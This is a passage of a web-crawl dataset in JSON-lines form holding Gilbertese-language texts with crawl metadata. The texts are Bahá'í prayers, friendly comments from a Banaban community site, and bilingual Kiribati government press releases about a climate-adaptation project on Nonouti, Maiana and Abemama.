o n rooti; katauai bwa Nna riki bwa te toro i matan Am mataroa ao karuoa nako aou te aroaro ao te anua ake aekaia naake a etieti; karaoai bwa teuana bukin rikin te tituaraoi i bukin te aonaaba n aomata, ao unekenekea atuu ni baunuean te maiu ae akea tokina.\nNi koaua, boni Ngkoe te Korakora, te Matairiki, te Tia Ongo.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.bahaiprayers.io\/prayer?id=70208080&to=gil","date":"2020-01-21T04:02:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250601241.42\/warc\/CC-MAIN-20200121014531-20200121043531-00480.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":119,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.319,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te nebonebo Nakoim, O te Uea ae Atuau! I a Butiiko n Aram are akea ae e a tia ni kinaa n ae tau, ao kakawakina akea a a tia n ataia ni koaua; I a Butiiko, iroun Teuare Ngaia Koburaken Ranin Am Kaotioti ao Bongin-Rikiraken Am kanikina nako, ni karika nanou bwa e na butimwaea Am Tangira ao Ururingam. Kabaea ngkanne, nakon Am marawa ae moan baan te korakora, bwa are mai iai a na waanako ranin nako te maiu n Niniwanam ao itiakin raanga n ranin Kamimitongam ma Neboam. Riin nako rabwatau a bon kakoaua n Am katiteuana, ao iran atu e kaota korakoran Ueam ma Mwaakam. I a tia n tei ni mataroan Am raoiroi ma ni kaakeaai ao ni kaota korakoran Ueam ma Mwaakam. I a tia n tei ni mataroan Am raoiroi ma te kaakeaai ao te kamwawaai, ao n nimta roobun Am kakabwaia, ao ni katokaa matau i aon oraitanin Am bwaintangira nako.\nKataua ngkanne i bukiu, Ngkoe Atuau, are e na riki bwa kakannaton Ueam, ao buokai, n Am raoiroi ae kakamatoa, n reiakina Am Waaki bwa e aonga atuu ni biri nako man ruanimateia, ao ni biri Nakoim, n onimaki raoi Iroum, ao ni katokai aia taratara i aon Am Waaki, ao te tabo are ingabongin Am Kaotioti. Boni Ngkoe, ni koaua, Moan te Mwaaka, te Kabanea n Rietaata, te Ataibwaai ni kabane, te Kabanea ni Wanawana.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.bahaiprayers.io\/prayer?id=140210020&to=gil","date":"2020-01-21T15:55:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250604397.40\/warc\/CC-MAIN-20200121132900-20200121161900-00283.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":34,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":235,"character_repetition_ratio":0.058,"word_repetition_ratio":0.053,"special_characters_ratio":0.218,"stopwords_ratio":0.4,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kouara ma raom aikanne? I think you are all doing fine. For me I am doing fine too. Tourism is not new to me since I have had vast experiences in which had helped me tremendously in my course. I really missed seeing you guys during the sports day supposed to be held there. E nang kanga te karau are bwaka. Anyways we will see you guys at the airport. It's good to know that you had your dancing costumes. I had mine from the Rabi relatives here in lautoka. Ia bon keweia kain ikai ma au mwaie. E raoiroi iroumi bwa ngkami teniman ao ngai are ai bon ti ngai. Tao e raoiroi naba bwa akea ae ataa buren au kai kee. E tekeraoi these last two weeks and take care. Love to you and the other 2 girls.\nMilly sorry ngkai ia bon rin n am auc aio n aki kakaeti ba tera bukin riniu. Neiko kai terna ma ai bon te kakibotu ao riki ngkai ai bon te akea ngkoe ao ia bon taona tabon kiem aio ni katuka au katekeraoi nakoim n am tai ni makuri n te Otintai Hotel. ko raba ao tekeraoi riki ma am koraki .\nngaia mauri naba nei siter aio...............neiko kai akea tameia uncle teibi ma irou ma na kakaea ao ia send naba nakoim nam gmail keer.....ok..............but take care sis n auntie kataua is in rabi.........e mena ngkai ma kaka karibaieta ao kaka bakia............\nneiko koa manga boon kaongongo naba ni oki nakomia keer............luv n take care sis...............have a great day till u hit bak again...\nMilly, Mauri riki.\nKo rabwa ngkai koa tia n tuangai aran am karo ao ena kanga ao ko uarereke ngke ikatana Rabi n 1997 ao ngaia koa ikawai ma e tau bwa ia kinako ao kona tekeraoi inanon te ririki ae boou ma kain batam ni bane. Ngai ngkai imena i Aotiteria nte Gold Coast. Terimoa ae mena naba ikai bwa enang kaina ikai.\nIa manga ongora mai iroum ni mwawam bwa tera rongorongo ami tabo anne.\nNeiko, antai moa araia tibum ao am karo? I have been living in Australia for the past 13 years and that's the reason why I'm so behind in connecting with my fmaily especially the young generation so please update me on our family link.\nMauri nte ririki ae bou Nei tepapanto, e uara te makuri nam hotel ikanne ao a uara atainainen ikanne i taku bwa bon ngaia naba akea te bitaki ke kanga??? tau enjoy am new yr with your friends tao tia manga bo moa ao koa manga reitia mai ikanne\nisa e bon eti anne, tamnein natiu teainne anne nim nau page ma emena i rabi iroia tibuna. tinang nako nanaia inanon july aei. ......ohohoh u ar a big girl, ingo iroun am bro abera ba ko ien ma te seaman... thats good, ao natiu temanne anne tameina ma ngaira... i have 2 kids. koa atia nikariki ke ko tuai.... etau koa retia ma ikanne kee. tia boa moa n tekeraoi\nMauri naba natina.. eraraba naba te reitaki kee...gaia akea arom kee ba koa iein naba ma te seaman...eti anne koa ikawai kee...nee..gaia ia tuanga am uncle aio are ko taku kee... gaia e tikiraoi ba ko makuri naba ikane...gaia ane akea nab te kabanetai ...ti ...te ....tai nab.....\neng nee are ko taku nte karirin ...anne bon tamnein au cuz temana ae e kabae ma kain ikai....ai natin Niko are buun nei Karekeiti are ami koraki... ba buun Niko gkanne ana aunty teuare e kabae ma au cuz...\ntau nee ena tekeraoi naba te makuri ao au kamauri ao kain au auti nakoimi ni kabane. tia boo moa ao eiuati...over!!!!\nhappy new year!!!! ea man te tai ker......ngkai ko uara??? ti tebo ma koa kaubutae,....ae kakin irikiu arei (Abera)..hahahahaha.......ao ngke koa nang marika.....ngkai tera ae koa bon karaoia ikanne??? ngkai nei grace ea tia ni iein ma Tokanuka....ao ngkana iai am kaan titiraki ibukin teuai....ao koa manga reitaki ma ngai riki....rimwi....haahhaha......e tau kona tekeraoi naba inanon te ririki ae boou...ao taotia boo moa..what shall i call you sis or dauve?????hahahahaha......\nmauri miri... kae e raba naba te reitaki mai ikanne...kanga ia bua moa ba antai aio ....tao kana eti ma aio are natin nei Boueri ma Takabiri!!!! gaia!!!!hahaha..... kana eti... mauri riki ao e raba te tangira kee nte reitaki..\nGkai ko makuri ikanne ke ko reirei...koa tia nee n iein???.....tau te kamauri nakoimi nte xmass ao te new year aio.\nTekeraoi ao tia boo kee...koa manga reitia mai ikanne.","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=0m6fqdzaqdwvi","date":"2020-02-20T19:06:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145260.40\/warc\/CC-MAIN-20200220162309-20200220192309-00549.warc.gz","language":"gil","language_score":0.9977034926,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 0.997703492641449}","num_words":752,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.174,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri Aunty,\nE nang baba Nei Tina saying no one wants to comment on your page anymore. E aki ataia ba ngai i nang kan comment nakoim ao riki au dad...hahaha. Anyway kam uara ma uncle ao kain ami auti? Ti tuai ni manga raun.E tau tia boo moa n c u later. Koa angania uncle ao au sis akanne au kamauri & to Joseph & Imo.\nNatim ae boboto riki nakoia natim aine akana n am auti...hehehe\nMauri tariu are te kabanea ni botonaine n te aonnaba. Ko boni kanganga ko roko naba n aia bwai ikawai. Shshshs!!! ao ngkoe Kam uara. Ti marurung raoi ikai. I kakaitibo ma tiantaake and she's doing well. Te kamauri nakoimi ni kabne\nAo ngaia ngke tao bon iai naba te Baeang i nanon rangan Taamoa ma i taku bwa bon ingoana raoi aei i nanon rangau. hahahaha Ao ngke kam uara???? I uringa ngkoa Nei Toora are natin Nunu ae eaki toki ni kotea kiina bwa ana Baeang ngaia ia nang kubanako ngke ia noora naba aram n riin nte web aio ao ia ti stop ni kaungako ngkai ea bon kani boo am tai hehehhe Te comb ae buraerae ao e tiki tabona ae ko tangiria mairoun Taamoa bwa ena karekea koa bon taninga rokona ikanne ni kaunga nanon n anganiko ana comb bwa komin tinoum anne.\nKo rarabwa ao tao koa manga reitia mai ikanne.\nneiko, kona mauri nte ingabong aio....ia bon kubanako n au mail are i warekia ma iroum ao koa atongai ba manem ngai. Eara ea bure am aomata? Taiaoka kakaeta raoi aron am kanako mail ba tokina kona BAN man te site aio ke ha ha ha.\nao ngke tariu, everybody make mistakes and thats how we all learn what say? I just heard from nei kaikai ae te vote tomorrow....so c u there k? bye n god bless you my beautiful big sister(earoko te cakemix packet)....joking!!!!!!\nBoni iai naba te ara ae Baeang bwa i ti ataia bwa iai au Baeang ae raba n au koaerake ao tao ana namesake anne. Kabara buren te karaki ma anne raoi te koaua. Tao kona riai naba n ataia bwa iai am namesake irou. E rarabwa ao tia boo moa.\nGoodmorning to you in the name of the Lord Jesus Christ my sis, hows things? I hope everything is fine with you and your family, anyway if things are not so well with you this morning please dont be sad or angry because God knows all your problems you just leave everything in His hands and He will solve them for you...and you on the other hand just be faithful and believe that He is can do the impossible, because He is God of everything. ok bye for now got to go.\nmauri!\nKo uara? E raba Uean te maiu\nNeiko ko nang kan tia bai ke.. ko tekena te aba\nNgai ia tiba tabe ni kume iaon te baei\nKo ataia are a motirawa bun Kama nei Miina konanoa\nTao ti ngaia moa mai iakai ma koa reitia mai ikanne\nMoce mada\nBon antai naba ana iango ba kona join te site aio?....koa ataiko ko bon roko n taabo ni bane....joking!!!!! he he he kanga kobura kewe ke? A bon tekenaki nei teanibuti ao nei ana iroum ke?\nE raoiroi ma koa bon ururingai naba nte news ma ikanne ke? Ao etau bakanga ebati moa te makuri ae eiangoaki nte auti ma tia manga bon maroro riki rimwi.....have a blessed day and god bless you my sis....mtwahhhh.\nkam uara? i bon marurung mai kai ma kain te auti nikabane i Valelevu. I bon raraun iaon te website aei ao ia nora am comment nakon uncle Ken, so i thought i'd drop by to say Hi. Regards to all at home. Tekeraoi te waki ao tia kakaitibo iaon te net ke. e nang kanikan tamneim ma uncle nte picture inano ba kanga ko ubu n fit iai. haha. okay. tia manga bobo ke...","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=0333txt7duhzh","date":"2020-02-26T04:12:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146186.62\/warc\/CC-MAIN-20200226023658-20200226053658-00032.warc.gz","language":"gil","language_score":0.9990251064,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9990251064300537}","num_words":663,"character_repetition_ratio":0.035,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.193,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TAK officials had visited the island of Nonouti to prepare the cultural package before the arrival of the first angler group from 2nd – 9th of September, 2019.\nThe objective of the activity is to target the international anglers for fishing game promotion in order for both the island's council and the islanders to generate income for sustainable livelihood against the impacts of climate change.\nThe Island Council was first consulted on the purpose of the visit and the local tour guide and the communities were engaged in the beautification of the cultural sites.\n6 cultural sites were maintained during this visit which include; Te Aake Maneaba, Marenaubon, the shrine of Nei Tewenei, the headquarters of the Roman Catholic and the monuments of the first arrived Catholic missionaries in Kiribati which are all stationed at Umwantewenei and Taribo tribe in the village of Taboiaki and Ana Ngea te Unimwaane, the offering shrine located at Tekib'aka tribe in Temotu village, the last village in the Southern Nonouti but the first village to be visited for offering and receiving the blessing of the Island.\nDuring the preparation the signage was made for every shrine. This will enable the anglers to see easily the shrines. The fencing was constructed and cleaning around the sites.\nTAK also had an opportunity to promote to the community the marketing of cultural sites in a small- scale business approach so they can generate income from it and sustain their livelihood against the impacts of climate change.\n\"This is a great idea; we can make garlands for the anglers and sell it to them together with the fresh coconut juice (moimoto)\" said Angineti Itinata from the Catholic Church women group known as \"Te Riki-n-Imakurata\" in Taboiaki.\nTAK confirmed that the work on the cultural site will be continued every year where the communities from Nonouti will be also engaged effectively for the sustainability of this program and for them to keep generating income from it.\nThe trip is supported by the LDCF-I Project known as the Least Developed Countries Fund which is funded by the GEF through the UNDP and managed by the Environment and Conservation Division under the MELAD.\nKiribati Version\nTe katauraoi I Nonouti ibukia taan roa ikari ibukin te karemwane ni buotoka te tania ni maiu ni kaitara bibitakin kanoan bong.\nE a tia ni karairaki temanna ana aobitia te TAK – Abotin Kaneweaba mai Nonouti e moa man 2-9 n Tebetembwa 2019 ibukin katamaroan te naan bangota ao taabo riki tabeua ake a kona n riki bwa taabo ni kaneweaba nakoia iruwa ake ana roko ni karaoa te roa ikari iaon Nonouti.\nE boboto te mwananga aio iaon taketenaia taan tia roa ikari ma i tinaniku ibukin te waaki n kareke tianti nakoia kaain Nonouti ma aia Kauntira n Nonouti ibukin boutokaan te tania ni maiu ni kaitarai kanganga man bibitiakin kanoan bong. E waakinaki te katauraoi aio n ikarekebai ma te Kauntira n Nonouti, te tia kaneweaba ao ai te naan rabwata ake a ibuobuoki iaon katamaroan ma kaitiakan te naan bangota ma taabo ake iai kakawakiia ibukin te rikia ao rongorongon rimoa te Abamakoro ae Nonout.\nBon 6 mwaitin bangota ma taabo ake a tia n katamaroaki bwa Te Aake Maneaba, Te mabeaba ae Marenaubon ke n arana ngkai ae Te Riki n Imwakuraata, Bangotan Nei Tewenei, ana tabo te aron ni Katorika ma te kauring are e tei ibukin moan rokoia Mitinare ni katorika i iaon Kiribati i Nonouti ake a bane ni mena i Umwantewenei ao i Taribo n te kaawa ae Taboiaki ao ai Ana Ngea te Unimwaane are kakaraoaki iai te anga mweaka n moan rokoia iruwa iaon Nonouti are e mena I Tekib'aka n te kaawa ae Temoti, te kabanea ni kaawa mai i Maiaki.\nA rineaki taabo aikai bwa taabo n kaneweaba i bukina bwa iai rongorongoia aika a kakawaki ibukin ataakin katein ao rongorongon te abamwakoro ae Nonouti ao ai Kiribati ae bwanin n irekereke ma aroia ni maeka kaain te aba ma aia otabwanin. Tiaki ti ngaia ma teuana naba kaotan rongorongon kateakin te mwaneaba ae te Aake iroun te Tama Joseph Leray (te moan tama iaon Kiribati, Nonouti) are e boota te rabakau ni Kiribati iaon katean te mwaneaba ma te rabakau ni kateitei mai i Abatera are e kona n noraki nte mwaneaba ae te Aake are e nang koro buburana ao rietanana ni kabotauaki ma mwaneaban Kiribati nako.\nInanon te katamaroa ao a karaoaki ao ni katekeaki naba aran taabo ni kaneweaba aikai bwa e na mataataa ao n ataaki irouia taan roa ikari ao ai bon iruwa akea ana roko i Nonouti, karaoan ooia ao ai katiakan te tabo are a mena iai bwa ana tamaroa ao n kakai noraki. E bon reke naba ana tai te Aobiti ni Kaneweaba n kaunga aron mwaketenan te katei ma karakinan maran te katei ni Kiribati bwa bon teuana te anga ni kareke tianti ibukin boutokan aia kareke tianti ni kaitara aia kanganga nakon aia tania ni maiu inanon tain te kanganga man bibitakin kanoan bong.\n\"E rang Tamaroa te iango aio bwa ti kona naba n katauraoi kaue bwa aia bau irua ao ti kabonakoi nakoia ni ikotaki ma momoito ibukin nimaia\" e taku nei Angineti Itinata man te aro ni katorika.\nEa tia naba te Aobiti ni Kaneweaba ni kamatoaa bwa te boutoka iaon te katamaroa nakon taabo aika kakawaki aikai e na bon teimatoa ao e na waaki inanon te ririki teuana ma teuana bwa e aonga n teimatoa ao n unga naba nanoia kaain te abamwakoro ae Nonouti n reitaanako aia waaki n tararua ao n karekemwane are ana kona n waakinna n irekereke ma aio.\nE boutokaki te mwananga aio man te karikirake ae te Tania ni Maiu are e mwanenaki man te rabwata ae te GEF rinanon te UNDP ao n barongaki iroun Aobitin Enwaromenta iaan te MELAD.\nFor further information Contact\nKiarake Karuaki (Ms)\nProduct Development, Licensing and monitoring Officer\nTourism Authority of Kiribati, (686) 75125998 Mobile: (686) 73081453\nE-mail: firstname.lastname@example.org\nBweneata Kaoti (Ms)\nProject Advocacy Officer – PAO; Project Management Unit – PMU\nEnvironment and Conservation Division, MELAD, 75228211,75228000,","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/www.environment.gov.ki\/?p=1763","date":"2020-02-25T06:51:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146033.50\/warc\/CC-MAIN-20200225045438-20200225075438-00001.warc.gz","language":"gil","language_score":0.9997685552,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9997685551643372}","num_words":1010,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.197,"stopwords_ratio":0.242,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 officers from the Agricultural and Livestock (ALD) department had visited the pilot islands of the LDCF-I project which are Maiana, Abemama and Nonouti from 17th November to 2 December 2019 to work on the islands to enhance the food security from agricultural and livestock programs.\nThe activities carried out were the consultation to the island councils on the commencement of livestock program with only a few pilots villages only for Abemama, Nonouti and Maiana, the recruitment of Youths for Inventory Stock (YIS) and the monitoring of the tree crops and livestock on the island for baseline data for future monitoring, training on seed sowing, compost making and marcotting.\nThe result of the consultations done with the island councils showed that 2 villages in Nonouti which are Rotima and Abaokoro, in Abemama the villages are Abatiku and Tanimainiku and Maiana are Buota Tebikerai, Bubutei Maiaki and Tematantongo were ready to work on the livestock program. 2 YIS for Nonouti and Abemama and 11 recruited for Maiana. After the survey on the tree crops planted and the livestock, its showed that there were little number of tree crops and livestock to support the food security therefore there is a need to do more of these activities in the future.\nThe island councils from all the 3 islands were glad to support this program as it will enhance the livelihood of their people. More than 300 participants attended the consultation and the training.\nThe ALD team had planned to visit again the islands early January 2020 to conduct hands on training to the selected communities and IS youths or new village assistant on nursery management, pest and disease management, and livestock husbandry.\nThe trip was supported by the Kiribati LDCF I Project, funded by the Global Environment Facility and implemented under the Environment and Conservation Division through the support of the United Nations Development Programme.\nKiribati Version\nUarokoan te tania ni maiu iaon ana abamwakoro te LDCF-I project iaon te ununiki ao te maniman.\nA tia n oki rikaki 6 Aobitia man te Botaki n Ununiki iaan te MELAD mai iaon ana abamwakoro te LDCF-I aika Maiana, Abemama ao Nonouti imwiin karaoakin aia mwakuri e moa man 17 n Nobembwa nakon 2 n Ritembwa 2019.\nE boboto te mwananga aio iaon mwakurian te ununiki ao te maniman ibukin boutokan kanganga ake ana kona n roota aia tania ni maiu man bibitakin kanoan bong.\nN te mwananga aio ao e bon karaoaki te kaongora nakoia kauntira ao kaawa ibukin katabwenan te waaki ni maniman iaon te moa ao te beeki, te tutuo ao te warebwai iaon aroka ao maan, kateirakeaia te roronrikirake ake ana warebwaia te aroka ao maan ibukin kawakinan mwaitia ma rongorongoia, te anga reirei iaon kabwebwean te aroka, kawakaean te aroka ao ai karaon te kamkamka bwa kanan te aroka.\nMan, te maroro are e karaoaki ma kauntira ao a rineaki moa 2 kaawa i Nonouti ake a na mwakuriaki iai te waaki ni manman bwa Rotima ao Abamakoro ao i Abemama bwa kaawa aika Abatiku ao Tanimainiku ao i Maiana bon kaawa aika Buota ao Tebikerai Bubutei Maiaki ao Tematantongo.\nMwin te mwananga naba aio ao a tia ngkai n katebenakoaki kaka 2 mai Nonouti ao Abemama ao 11 mai Maiana mai irouia roronrikirake bwa a na riki bwa taan warebwai are nanona bwa 15 ikotaia ni kabane. Ni mwin te warebwai iaon te aroka ma te man ao e noraki bwa e karako mwaitin te aroka ao te man ngaia are e kainanoaki riki te ununniki ao waakinan te maniman n abamwakoro aikai.\nE oti n aia maroro kautun abamwakoro aikai bwa a rang tauraoi n butimwaea ao n boutoka te karikirake aio ibukin buokaia te botannaomata iaon aia reita n maiu bwa e na mwaiti riki ao n tauraoi ibukin aia tania ni maiu ni kaitara bibitakin kanoan bong.\nE raka iaon 300 mwaitia aomata akea a ira te kaongora man aaba aikai. A katautaua kaain te tiim aio bwa a na manga kawari riki abamwakoro aikai n moan Tianuare 2020 ibukin reireinakia kaawa ao roronrikirake ake a tia n rineaki iaon kamwaitan riki te ununiki, tararuan te on n aroka ao ai karikirakean te manman iaon te moa ao te beeki.\nE boutokaaki te mwananga aio iaan ana karikirake te tautaeka n Kiribati ae te Tania ni Maiu ke te LDCF-I project ao n mwanenaki man te rabwata ae te Global Environment Facility (GEF) rinanon te United Nations Development Program ke UNDP ao n mwakuriaki iroun Aobitin Enwaromenta iaan te MELAD.\nMr Routan Tongaiaba – Agricultural Officer\nIbukin bwanin rongorongona reitaki ma\nAgriculture and Livestock Division, MELAD, 75228108,\nBweneata Kaoti Inatoa (Mrs)\nProject Advocacy Officer – PAO; Project Management Unit – LDCF-I\nEnvironment and Conservation Division, MELAD, 75228211,75228000,","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/www.environment.gov.ki\/?p=1776","date":"2020-02-25T06:14:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146033.50\/warc\/CC-MAIN-20200225045438-20200225075438-00035.warc.gz","language":"gil","language_score":0.9992386103,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9992386102676392}","num_words":768,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.199,"stopwords_ratio":0.224,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Under the LDCF-I project, 29 staff members from different ministries together with the project management unit spent the weekend retreat at Abaokoro, North Tarawa from the 13th-15th of December 2019.\nThe purpose of the retreat is to review and finalise the costed work plan for 2020. The members of the retreat comprised of 9 ministries, the Ministry of Education, Ministry of Fisheries and Marine Resource Development, Agriculture and livestock division, Local Government Division, Culture and Museum Division, Environment and Conservation Division, Ministry of Commerce and Industrial Cooperatives, Tourism Authority of Kiribati, Kiribati Local Government Association and Kiribati Meteorological Service.\nThis retreat will significantly reveal and discuss the cost work planned by these ministries regarding the activities that will support the livelihood of the locals in the 3 pilot islands. As the purpose of these activities is to enhance the capacities of the locals to adapt to climate change impacts and to ensure food security.\nMaiana, Abemama and Nonouti are the 3 pilot islands in which these activities will focus on and this project (LDCF-I) will continue to implement these plan activities to these islands until the end of this project in 2020. However, there is a possibility that other project funds or climate-resilient projects will take place in the other remaining islands of Kiribati.\nDuring the retreat a lot of ideas and plans towards the end of LDCF project in 2020 were affirmed by these 9 ministries or stakeholders under this project.\nThe retreat was supported by LDCF-I (Least Developed Countries Fund) Project, funded by the GEF (Global Environment Facility) Program under the UNDP (United Nations Development Programme) and implemented under the Environment and Conservation Division with the support of the United Nations Development Programme.\nKiribati Version\nKataumwanean ana waaki te karikirake ae te Tania ni Maiu ibukin te ririki ae 2020.\nA a tia n karairaki man aia weekend retreat kaain te karikirake ae te LDCF-I mai Abaokoro Tarawaieta ibukin kataumwanean aia mwakuri nakon 2020 rabwata ake a kaai n mwakuria nanon te karikirake aio. Bon 29 mwaitia aobtia ake a ira te retreat aio man ana rabwata te Tautaka aika 9 mwaitina bwa te Botaki n Reirei, Botaki n Akawa, Aobitin te ununiki ao tararuakiia maan, Aobitin Tautaeka Inanoa, Aobitin katein Abara ao Te Umwanibong, Aobitin Enwaromenta, Botaki n Bitineti, Kaorabwai ao Boboti, Aobitin Kaneweaba, ao ai Aobitin tauan mwin kanoan bong.\nE waakinaki te retreat aio man 13-15 n Ritembwa 2019 ao e barongaki man ana rabwata te LDCF iaan te MELAD are te Project management Unit.\nOin karaon te kataumwane aio bwa e na katauraoia botaki n mwakuri aikai bwa a na barongai raoi aia mwakuri bwa aonga n bati katiakia imwain tokin 2020.\nMwakuri ake a kataumwaneaki bon mwakuri ake a kaineti ma boutokaan te tania ni maiu bwa e na teimatoa n abamwakoro aikai Maiana, Abemama ao Nonouti ni kaitara bibitakin kanoan bong. Tiaki ti ngaia ma a bon bane ni boboto iaon reiakinaia te botannaomata man abamwakoro aikai bwa ana kona n tauraoi man karekean te atatai bwa a na kona n tania maiua n tain kanganga ake ariki man bibitiakin kanoan bong.\nE teimatoa te mwakuri ma abwamwkoro aikai ngkai bon ngaia aba ake a tia n katauaki iaan te karikirake bwa ana buokaki n moan iteran te karikirake aio LDCF-I. Iai itera are e na manga roko ao e kantaningaki bwa e na manga tauraoi n buoki abamwakoron Kiribati ake tabeua.\nA bon mwaiti iango aika a tabekaki mairouia rabwata aika 9 aikai ake a bane n kakioa nanon ana boto ni iango te karikirake aio.\nE boutokaki te mwananga n retreat aio man te karikirake ae te LDCF-I (Least Developed Countries Fund) rinanon te GEF (Global Environmental Facility) ao te UNDP (United Countries Fund Development Programme) ao n tararuaki iroun Aobitin Enwaeromenta are mena iaan, te Botaki ni mwakuri ibukin Enwaromenta Aaba ao Karikirakean te Ununiki (MELAD)","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/www.environment.gov.ki\/?p=1798","date":"2020-02-25T06:21:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146033.50\/warc\/CC-MAIN-20200225045438-20200225075438-00099.warc.gz","language":"gil","language_score":0.9949406981,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9949406981468201}","num_words":630,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.193,"stopwords_ratio":0.198,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri kain Banaban Voice\nTaiaoka nkana iai ae e kinaa ke e boobo ma Nei Tasili buun Willie Tanua? Taiaoka nkana iai ae e kona ni ibuobuoki ba i kainanoa aia contact n te tai ae waekoa.\nAne e kona n reitaki ma ngai iaon aio ao ea taiaoka n request n riki ba au friend ao ia accept maikai.\nE raraba anne ao kam na tekeraoi.","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/looking-for-nei-tasili-willie","date":"2020-02-20T19:13:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145260.40\/warc\/CC-MAIN-20200220162309-20200220192309-00319.warc.gz","language":"gil","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"gil_Latn_score\": 1.0000091791152954}","num_words":67,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.343,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E na neboaki Te Atua, are Ngkoangkoa are E aki maamate, are Akea Bibitakina, ao Akea tokina! Boni Ngaia are E a tia ni kakoaua n oin Arona bwa bon Ngaia ae ti Temanna, ae akea Tauan Arona, te Moa n Rietaata. Ti bon bane ni kakoaua bwa akea riki Te Atua bwa ti Ngaia ti ata Oioina n ti Ngaia, ni kaota Ngaia ae ti Temanna. E mamaeka n te tabo ae akea rotakina, n taubukin Rietaatana, man te mwaaka ae tataekin bwaai nako ma bon ti Ngaia, man te inaomata ni kaotii bwaai nako ma bon ti Ngaia. Ao ngke E iangoia n anga te raoiroi ao kakaraoan te raoiroi, ao ni baairea te aonaaba n etina, E rinanoi bwaai nako ao E karika Ana tua; mai buakon Ana tua E katea tuan te mare, bwa e na riki bwa te nono i bukin te mweraoi ao te kabwaia ao n riki bwa tabera are e na karaoaki nako naano man karawan te mwaaka are n Ana Boki are Moan te Tabu. E taku te mwaaka are bon Mimitongina: Iein, au aomata, bwa mairoumi ane e na kaoti ngaia are e na Uringai mai buakoia Au toro; bon aio teuana Au tua nakoimi; ongeaaba nako iai bwa te bwai n ibobuoki nakoimi.","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/www.bahaiprayers.io\/prayer?id=60213020&to=gil","date":"2020-02-25T19:35:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146127.10\/warc\/CC-MAIN-20200225172036-20200225202036-00531.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":214,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.449,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"neiko,ngaia raoi anne.ko uti maka n online mai kane.komakuri? ka bara au bure ngkana i disturb ke!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.neiko ea ti bon menanaba i suva i makoi. ae iaon kawaira n okinako nako rabi.ngkai ae ti bon tataninga tebaruru tao e naroko nkon te weekend aei ao to tia nako naba noako rabi.oh!!! i maninga n tuangko ae kakaraoaki te botaki n utu n japan i rabi.last year aki naba koro nanona ba ea buaka naba rabi ao ak nako naba kaka maa nako rabi.ao ngke a rona ba eaki buaka ao tao ena bon boo atin te botaki.koraniko ba a narok ke kain labasa ao bon kain suva ak a aereke kantokaia.iai naba kain aia 